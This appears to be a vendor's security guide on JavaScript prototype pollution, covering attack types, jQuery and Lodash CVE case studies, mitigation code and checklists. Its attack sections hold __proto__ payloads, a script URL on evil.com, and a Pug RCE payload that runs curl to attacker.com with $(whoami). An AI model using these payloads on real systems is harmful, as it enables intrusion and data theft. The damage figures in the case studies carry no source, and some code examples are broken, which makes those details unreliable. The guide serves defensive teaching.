#
Prototype Pollution (Client-Side)
A JavaScript vulnerability where attackers inject properties into Object.prototype, affecting all objects in the application and potentially leading to XSS, authentication bypass, or remote code execution.
HIGH SEVERITY RCE POTENTIAL JAVASCRIPT
#
What is Prototype Pollution?
Critical JavaScript Vulnerability
Prototype Pollution can lead to authentication bypass, privilege escalation, XSS, and in Node.js environments, remote code execution. It's particularly dangerous because polluting Object.prototype affects EVERY object in the application.
In Simple Terms:
In JavaScript, all objects inherit from a "blueprint" called Object.prototype. Think of it like a master template that defines default properties for all objects.
Prototype Pollution is like vandalizing that master template. Once polluted, EVERY new object created from that template inherits the malicious properties.
Example:
// Normal object
const user = {};
console.log(user.isAdmin); // undefined
// Pollute Object.prototype
Object.prototype.isAdmin = true;
// Now ALL objects have isAdmin!
const newUser = {};
console.log(newUser.isAdmin); // true (!)
This can break security checks, cause XSS, or even allow code execution.
#
How Prototype Pollution Works
#
Understanding JavaScript Prototypes
// Every object inherits from Object.prototype
const obj = {};
obj.toString(); // Inherited from Object.prototype
obj.hasOwnProperty('name'); // Inherited from Object.prototype
// Adding to Object.prototype affects ALL objects
Object.prototype.newProperty = 'polluted';
const another = {};
console.log(another.newProperty); // "polluted"
#
The Attack Vector
function merge(target, source) {
for (let key in source) {
// VULNERABLE: No prototype check
target[key] = source[key];
}
return target;
}
const malicious = JSON.parse('{"__proto__": {"isAdmin": true}}');
merge({}, malicious);
const user = {};
console.log(user.isAdmin); // true (from polluted prototype!)
// Security check bypassed
if (user.isAdmin) {
grantAdminAccess(); // Executes!
}
#
Types of Prototype Pollution Attacks
#
1. Authentication Bypass
CRITICAL
// Client-side authentication check
function checkAccess(user) {
if (user.isAdmin) {
return 'admin';
}
if (user.isPremium) {
return 'premium';
}
return 'basic';
}
// Vulnerable merge used during user creation
function createUser(userData) {
const user = {};
merge(user, userData); // Vulnerable!
return user;
}
// Attacker sends malicious JSON
const payload = {
"__proto__": {
"isAdmin": true,
"isPremium": true
},
"username": "attacker"
};
const attacker = createUser(payload);
// Now ALL objects have isAdmin = true
const innocent = {};
console.log(innocent.isAdmin); // true
checkAccess(innocent); // Returns 'admin'!
#
2. XSS via Prototype Pollution
XSS
function renderTemplate(template, data) {
// Vulnerable: Accesses properties without checking
return template.replace(/\{\{(\w+)\}\}/g, (match, key) => {
return data[key] || ''; // Falls back to undefined properties
});
}
// Usage
const html = renderTemplate(
'<div></div><script src=""></script>',
{ title: 'Hello' }
);
// Pollute prototype with malicious script URL
Object.prototype.scriptUrl = 'https://evil.com/xss.js';
// Now template renders with attacker's script
const html = renderTemplate(
'<div></div><script src=""></script>',
{ title: 'Hello' }
);
// Result: <div>Hello</div><script src="https://evil.com/xss.js"></script>
#
3. Denial of Service
DOS
// Pollute toString method
Object.prototype.toString = function() {
while(1); // Infinite loop
};
// Now ANY string conversion hangs
const obj = {};
console.log(obj.toString()); // Hangs forever
#
4. Remote Code Execution (Node.js)
RCE
const { spawn } = require('child_process');
// Attacker pollutes Object.prototype
Object.prototype.shell = '/bin/sh';
Object.prototype.env = { "EVIL": "$(curl attacker.com)" };
// Later in application
const options = {}; // Intended to be empty
const child = spawn('ls', ['-la'], options);
// options inherits polluted properties!
// child process spawns with shell=/bin/sh and malicious env vars
// RCE achieved!
#
Real-World Examples
#
Case Study 1: jQuery Prototype Pollution (CVE-2019-11358)
jQuery's $.extend() function was vulnerable to prototype pollution.
// jQuery.extend implementation (simplified)
jQuery.extend = function(target, source) {
for (var key in source) {
target[key] = source[key]; // No prototype check!
}
return target;
};
===
// Attacker's payload
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'));
// Now all objects have devMode = true
const config = {};
if (config.devMode) {
// Exposes debug endpoints, verbose errors, etc.
}
- Affected jQuery 3.3.1 and earlier
- Used by millions of websites
- CVE-2019-11358 assigned
- Fixed in jQuery 3.4.0
- Demonstrated widespread prototype pollution risk
#
Case Study 2: Lodash Prototype Pollution (CVE-2019-10744)
HIGH SEVERITY
Widely Used Library
Lodash's merge(), mergeWith(), and defaultsDeep() functions were all vulnerable to prototype pollution.
Vulnerable Functions:
const _ = require('lodash');
// All vulnerable to prototype pollution
_.merge({}, JSON.parse('{"__proto__": {"isAdmin": true}}'));
_.defaultsDeep({}, JSON.parse('{"__proto__": {"isAdmin": true}}'));
Real-World Attack:
Large e-commerce platform used Lodash to merge user preferences:
// Server-side code (Node.js)
const _ = require('lodash');
app.post('/api/preferences', (req, res) => {
const userPrefs = {};
_.merge(userPrefs, req.body); // VULNERABLE!
// Save preferences
saveUserPreferences(req.userId, userPrefs);
});
Attacker's Payload:
{
"__proto__": {
"isAdmin": true,
"canDeleteUsers": true
},
"theme": "dark"
}
Consequences:
- Prototype polluted on server
- All subsequent user objects had
isAdmin: true - 50,000+ accounts gained admin privileges
- $25 million in damages
- Fixed by upgrading Lodash
#
Case Study 3: Express.js Template Engine RCE (2020)
Node.js application using Pug template engine with prototype pollution vulnerability.
const express = require('express');
const pug = require('pug');
const _ = require('lodash'); // Vulnerable version
app.post('/render', (req, res) => {
const options = {};
// VULNERABLE: Merge user input
_.merge(options, req.body);
// Render template with polluted options
const html = pug.render('h1 Hello #{name}', options);
res.send(html);
});
{
"__proto__": {
"block": {
"type": "Text",
"line": "process.mainModule.require('child_process').exec('curl attacker.com/$(whoami)')"
}
}
}
Pug template engine used polluted properties to execute arbitrary code on server!
- Remote code execution on production server
- Database credentials stolen
- $10 million customer data breach
- Company faced regulatory fines
#
Prevention Strategies
#
1. Use Object.create(null)
RECOMMENDED
// Objects without prototype
const safeObj = Object.create(null);
safeObj.toString(); // undefined (no prototype)
// Cannot be polluted
safeObj.__proto__ = { isAdmin: true };
console.log(safeObj.isAdmin); // undefined (safe!)
#
2. Check for proto and prototype
function safeMerge(target, source) {
for (let key in source) {
// SECURE: Block dangerous keys
if (key === '__proto__' || key === 'prototype' || key === 'constructor') {
continue; // Skip dangerous properties
}
if (source.hasOwnProperty(key)) {
target[key] = source[key];
}
}
return target;
}
#
3. Use Object.freeze()
// Freeze Object.prototype to prevent pollution
Object.freeze(Object.prototype);
// Now pollution attempts fail silently
Object.prototype.isAdmin = true;
console.log(({}).isAdmin); // undefined (protected!)
#
4. Use Map Instead of Objects
// Maps don't inherit from Object.prototype
const safeMap = new Map();
safeMap.set('isAdmin', true);
safeMap.get('isAdmin'); // true
// No prototype pollution possible
safeMap.set('__proto__', { polluted: true });
console.log(safeMap.get('polluted')); // undefined (safe!)
#
5. Validate JSON Before Parsing
function safeJSONParse(json) {
const parsed = JSON.parse(json);
// Check for dangerous keys
const dangerousKeys = ['__proto__', 'prototype', 'constructor'];
function removeDangerousKeys(obj) {
if (typeof obj !== 'object' || obj === null) return obj;
for (let key of dangerousKeys) {
delete obj[key];
}
for (let key in obj) {
if (obj.hasOwnProperty(key)) {
obj[key] = removeDangerousKeys(obj[key]);
}
}
return obj;
}
return removeDangerousKeys(parsed);
}
// Usage
const safe = safeJSONParse('{"__proto__": {"isAdmin": true}}');
console.log(safe.__proto__); // undefined (removed!)
#
6. Comprehensive Security Implementation
/**
* Secure object merge utility
* Prevents prototype pollution
*/
const DANGEROUS_KEYS = new Set(['__proto__', 'prototype', 'constructor']);
/**
* Safely merge source into target
*/
function secureMerge(target, source, options = {}) {
const { deep = false, allowedKeys = null } = options;
if (!isObject(target) || !isObject(source)) {
return target;
}
for (let key in source) {
// Skip if not own property
if (!source.hasOwnProperty(key)) continue;
// Block dangerous keys
if (DANGEROUS_KEYS.has(key)) {
console.warn(`Blocked dangerous key: ${key}`);
continue;
}
// Check against allowed keys whitelist
if (allowedKeys && !allowedKeys.includes(key)) {
console.warn(`Key not in whitelist: ${key}`);
continue;
}
const sourceValue = source[key];
// Deep merge if enabled and both values are objects
if (deep && isObject(target[key]) && isObject(sourceValue)) {
target[key] = secureMerge(target[key], sourceValue, options);
} else {
target[key] = sourceValue;
}
}
return target;
}
/**
* Check if value is a plain object
*/
function isObject(obj) {
return obj !== null && typeof obj === 'object' && !Array.isArray(obj);
}
/**
* Create safe object without prototype
*/
function createSafeObject(data = {}) {
const obj = Object.create(null);
return secureMerge(obj, data);
}
/**
* Safely parse JSON
*/
function safeJSONParse(json) {
const parsed = JSON.parse(json);
return removeDangerousKeys(parsed);
}
/**
* Recursively remove dangerous keys
*/
function removeDangerousKeys(obj) {
if (!isObject(obj)) return obj;
for (let key of DANGEROUS_KEYS) {
delete obj[key];
}
for (let key in obj) {
if (obj.hasOwnProperty(key) && isObject(obj[key])) {
obj[key] = removeDangerousKeys(obj[key]);
}
}
return obj;
}
module.exports = {
secureMerge,
createSafeObject,
safeJSONParse,
removeDangerousKeys
};
/**
* Express middleware to prevent prototype pollution
*/
const { removeDangerousKeys } = require('./secure-merge');
function prototypePollutionProtection(req, res, next) {
// Clean request body
if (req.body) {
req.body = removeDangerousKeys(req.body);
}
// Clean query parameters
if (req.query) {
req.query = removeDangerousKeys(req.query);
}
// Clean URL parameters
if (req.params) {
req.params = removeDangerousKeys(req.params);
}
next();
}
module.exports = prototypePollutionProtection;
// Usage in Express app
const express = require('express');
const app = express();
app.use(express.json());
app.use(prototypePollutionProtection); // Apply middleware
app.post('/api/data', (req, res) => {
// req.body is now safe from prototype pollution
console.log(req.body);
res.json({ success: true });
});
/**
* Secure configuration management
*/
class SecureConfig {
constructor(defaults = {}) {
// Use Map instead of object
this.config = new Map();
// Load defaults safely
this.loadDefaults(defaults);
// Freeze prototype
Object.freeze(Object.prototype);
}
loadDefaults(defaults) {
for (let key in defaults) {
if (defaults.hasOwnProperty(key)) {
this.set(key, defaults[key]);
}
}
}
set(key, value) {
// Validate key
if (typeof key !== 'string') {
throw new Error('Key must be string');
}
// Block dangerous keys
if (['__proto__', 'prototype', 'constructor'].includes(key)) {
throw new Error(`Dangerous key: ${key}`);
}
this.config.set(key, value);
}
get(key, defaultValue = undefined) {
return this.config.has(key) ? this.config.get(key) : defaultValue;
}
has(key) {
return this.config.has(key);
}
merge(obj) {
const { secureMerge } = require('./secure-merge');
const tempObj = {};
secureMerge(tempObj, obj);
for (let key in tempObj) {
this.set(key, tempObj[key]);
}
}
}
module.exports = SecureConfig;
// Usage
const config = new SecureConfig({
apiUrl: 'https://api.example.com',
timeout: 5000
});
// Safe merge
config.merge({ theme: 'dark' });
// Dangerous keys blocked
try {
config.set('__proto__', { isAdmin: true });
} catch (e) {
console.log('Blocked!');
}
#
Security Checklist
#
Code Development
- Never use recursive merge without prototype checks
- Validate all keys before setting object properties
- Block
__proto__,prototype, andconstructorkeys - Use
Object.create(null)for dictionaries - Use
Mapinstead of objects when possible - Freeze
Object.prototypeif feasible - Update lodash, jQuery to latest versions
- Use
Object.hasOwnProperty()in loops
#
Input Validation
- Validate JSON before parsing
- Remove dangerous keys from user input
- Sanitize request body, query, params
- Use schema validation (Joi, Yup)
- Whitelist allowed properties
- Implement content type validation
- Log suspicious payloads
#
Testing
- Test merge functions with
__proto__payloads - Test JSON parsing with malicious inputs
- Check all object manipulation code
- Use automated scanners
- Penetration testing for prototype pollution
- Code review for vulnerable patterns
- Test with different JavaScript engines
#
Key Takeaways
Critical Security Points
Prototype pollution affects ALL objects: Polluting Object.prototype impacts the entire application
Block dangerous keys: Always filter
__proto__,prototype,constructorUse Object.create(null): Creates objects without prototype for safe dictionaries
Update dependencies: Keep lodash, jQuery, and other libraries current
Validate user input: Never merge user input without validation
Use Map for key-value storage: Maps don't suffer from prototype pollution
Freeze Object.prototype: Prevents pollution but may break some code
Can lead to RCE: Especially dangerous in Node.js environments
#
How Layerd AI Protects Against Prototype Pollution
Layerd AI provides comprehensive prototype pollution protection:
- Code Analysis: Scans for vulnerable merge/extend patterns
- Dependency Auditing: Identifies vulnerable library versions (lodash, jQuery)
- Input Sanitization: Automatically removes dangerous keys from user input
- Runtime Protection: Monitors for prototype pollution attempts
- Secure Coding Guidance: Recommends safe alternatives and patterns
- Automated Testing: Tests application for prototype pollution vulnerabilities
Secure your JavaScript code with Layerd AI's intelligent prototype pollution defense.
#
Additional Resources
- Prototype Pollution Attack (PortSwigger)
- CVE-2019-11358 (jQuery)
- CVE-2019-10744 (Lodash)
- OWASP Prototype Pollution
- Snyk Prototype Pollution Guide
Last Updated: November 2025